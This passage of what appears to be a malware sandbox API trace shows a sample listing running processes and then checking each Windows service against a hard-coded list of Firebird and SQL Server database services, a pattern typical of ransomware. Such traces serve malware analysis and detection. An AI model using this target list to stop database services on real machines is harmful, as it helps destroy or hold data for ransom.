lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.451] lstrlenW (lpString="svchost.exe") returned 11 [0194.451] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0194.452] lstrlenW (lpString="taskhostw.exe") returned 13 [0194.452] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0194.453] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0194.453] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0194.453] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0194.453] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0194.454] lstrlenW (lpString="explorer.exe") returned 12 [0194.454] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0194.455] lstrlenW (lpString="Memory Compression") returned 18 [0194.455] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0194.455] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0194.455] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0194.456] lstrlenW (lpString="SearchUI.exe") returned 12 [0194.456] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0194.506] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0194.506] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0194.506] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0194.506] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0194.507] lstrlenW (lpString="entering.exe") returned 12 [0194.507] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0194.508] lstrlenW (lpString="literally.exe") returned 13 [0194.508] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0194.508] lstrlenW (lpString="prep.exe") returned 8 [0194.509] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0194.509] lstrlenW (lpString="homeless.exe") returned 12 [0194.509] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0194.510] lstrlenW (lpString="tips.exe") returned 8 [0194.510] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0194.510] lstrlenW (lpString="rhode_cow.exe") returned 13 [0194.510] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0194.511] lstrlenW (lpString="discount.exe") returned 12 [0194.511] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0194.513] lstrlenW (lpString="littleclosest.exe") returned 17 [0194.513] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0194.513] lstrlenW (lpString="compact.exe") returned 11 [0194.513] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0194.514] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0194.514] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0194.515] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0194.515] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0194.515] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0194.515] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0194.516] lstrlenW (lpString="vincentkills.exe") returned 16 [0194.516] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0194.516] lstrlenW (lpString="armstrong.exe") returned 13 [0194.516] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0194.517] lstrlenW (lpString="superb_guilty.exe") returned 17 [0194.517] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0194.518] lstrlenW (lpString="conditional employer.exe") returned 24 [0194.518] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0194.518] lstrlenW (lpString="middle shown.exe") returned 16 [0194.518] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0194.519] lstrlenW (lpString="forced_online.exe") returned 17 [0194.519] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0194.520] lstrlenW (lpString="knitting.exe") returned 12 [0194.520] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0194.520] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0194.520] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0194.521] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0194.521] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0194.522] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0194.522] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.523] lstrlenW (lpString="svchost.exe") returned 11 [0194.523] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0194.523] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0194.523] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0194.524] lstrlenW (lpString="conhost.exe") returned 11 [0194.524] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0194.525] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0194.525] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0194.526] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0194.526] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0194.526] lstrlenW (lpString="WMIADAP.exe") returned 11 [0194.526] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0194.527] lstrlenW (lpString="11.exe") returned 6 [0194.527] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0194.528] lstrlenW (lpString="cmd.exe") returned 7 [0194.528] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0194.529] lstrlenW (lpString="conhost.exe") returned 11 [0194.529] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0194.529] CloseHandle (hObject=0x294) returned 1 [0194.529] Sleep (dwMilliseconds=0x1f4) [0195.161] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889e08 [0195.161] EnumServicesStatusExW (in: hSCManager=0x889e08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0195.162] GetLastError () returned 0xea [0195.162] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x42d0518 [0195.162] EnumServicesStatusExW (in: hSCManager=0x889e08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d0518, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d0518, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0195.162] CloseServiceHandle (hSCObject=0x889e08) returned 1 [0195.163] lstrlenW (lpString="Appinfo") returned 7 [0195.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0195.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0195.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0195.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0195.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0195.163] lstrlenW (lpString="AppXSvc") returned 7 [0195.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0195.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0195.163] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0195.163] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0195.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0195.163] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0195.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.163] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0195.163] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0195.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0195.163] lstrlenW (lpString="Audiosrv") returned 8 [0195.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0195.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0195.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0195.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0195.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0195.163] lstrlenW (lpString="BFE") returned 3 [0195.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0195.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0195.164] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0195.164] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0195.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0195.164] lstrlenW (lpString="BITS") returned 4 [0195.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0195.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0195.164] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0195.164] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0195.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0195.164] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0195.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0195.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0195.164] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0195.164] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0195.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0195.164] lstrlenW (lpString="CDPSvc") returned 6 [0195.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0195.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0195.164] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0195.164] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0195.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0195.164] lstrlenW (lpString="ClickToRunSvc") returned 13 [0195.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0195.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0195.164] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0195.164] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0195.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0195.164] lstrlenW (lpString="ClipSVC") returned 7 [0195.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0195.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0195.165] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0195.165] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0195.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0195.165] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0195.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0195.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0195.165] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0195.165] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0195.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0195.165] lstrlenW (lpString="CryptSvc") returned 8 [0195.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0195.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0195.165] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0195.165] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0195.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0195.165] lstrlenW (lpString="DcomLaunch") returned 10 [0195.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0195.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0195.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0195.165] lstrlenW (lpString="Dhcp") returned 4 [0195.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0195.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0195.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0195.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0195.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0195.165] lstrlenW (lpString="Dnscache") returned 8 [0195.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0195.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0195.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0195.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0195.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0195.166] lstrlenW (lpString="DoSvc") returned 5 [0195.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0195.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0195.166] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0195.166] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0195.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0195.166] lstrlenW (lpString="DPS") returned 3 [0195.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0195.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0195.166] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0195.166] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0195.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0195.166] lstrlenW (lpString="DusmSvc") returned 7 [0195.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0195.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0195.166] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0195.166] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0195.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0195.166] lstrlenW (lpString="EventLog") returned 8 [0195.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0195.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0195.166] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0195.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0195.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0195.166] lstrlenW (lpString="EventSystem") returned 11 [0195.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0195.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0195.167] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0195.167] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0195.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0195.167] lstrlenW (lpString="FontCache") 